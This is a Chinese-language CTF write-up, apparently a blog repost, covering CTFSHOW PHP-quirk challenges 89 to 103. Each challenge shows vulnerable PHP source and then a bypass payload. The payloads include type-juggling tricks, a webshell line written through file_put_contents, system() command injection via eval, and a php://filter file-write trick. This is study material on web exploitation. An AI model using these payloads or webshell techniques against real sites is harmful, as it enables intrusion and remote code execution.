51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

CTFSHOW刷题之旅--PHP特性[89-150](未完)

web89 {#web892506}

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

99300-0aqkjj1ha2ua.png

因此,我们用数组绕过

?num[]=

web90 {#web903879}

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

67952-72abentpuwt.png

payload:?num=4476a

web92 {#web926484}

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

字符 ^ 和 $ 同时使用时,说明我们需要匹配以php开头和以php结尾的字符 /m 是多行匹配.这里我们可以用%0a也就是换行符来绕过第二个if。

payload:/?cmd=php%0aphp

web93 {#web938807}

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里说明不可以利用php弱类型和十六进制绕过。但是没关系我们可以利用 . 来绕过

payload:?num=4476.1

web94 {#web944036}

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){  //意思其实就是说字符串第一个不能是0,因为!0=1就成立了
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

因为这里字母被过滤了所以只能用八进制绕过了

payload:?num=%20010574

web95 {#web958142}

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这题只是在第一个if处变成弱比较,第二个处多了个对 . 的过滤。我们依旧可以用web94的方法来绕过

web96 {#web963160}

<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

在linux中表示当前目录是 ./

payload:?u=./flag.php

web97 {#web976809}

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这题在md5处是===强等于,我们可以利用数组强行转化类型返回null值来绕过

payload:a[]=1&b[]=2

web98 {#web985000}

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

64868-xdhs84fmwro.png

22965-0lealmruxajr.png

web99 {#web991269}

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php+eval($_POST[cmd]);?>
} ?>

40905-r312gc2h8fq.png

web100 {#web1006828}

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回
FALSE,注意浮点型返回空值,即 FALSE。

eval("$v2('ctfshow')$v3");这里说明$v2传递一个命令,$v3传递 ; 所以这里逻辑关系就是 $v1 and FALSE and FALSE
在php里TRUE and FALSE and FALSE;返回即是TRUE
07539-uwwbnf1v3ud.png

这是因为它的运算符优先级是**&&>=>and** 他会先将前面的值赋给后面。从而导致这里返回是TRUE

payload:?v1=1&v2=system("nl ctfshow.php")&v3=;

16345-ubzc6zua1rd.png

然后把0x2d改成-即可。

web101 {#web1017577}

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

这题比上题多了些过滤,进查找资料得知,这里是用php5新加入的反射类ReflectionClass来做
ReflectionClass反射类可以与已定义的类建立映射关系

payload:?v1=1&v2=echo new Reflectionclass&v3=;

web102 {#web1026307}

<?php

highlight_file(FILE);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){

$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);//将$str内容写到$v3中

}
else{

die('hacker');

}
?>
16820-z9e85xzxl6l.png

58677-2xgi3e8hqjw.png

所以说,这里的v1可以用来传递函数解密v2传递进来的值,而v2可以写php文件,v3写文件名
由于这里v4要为真,所以说这里的v2需要为数字或者e(科学计数法)
27769-i14v4jusak.png

payload:/?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=12.php
post:v1=hex2bin

35286-f1fkoigsv2.png

web103 {#web1036958}

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

payload同web102

赞(3)
未经允许不得转载:工具盒子 » CTFSHOW刷题之旅--PHP特性[89-150](未完)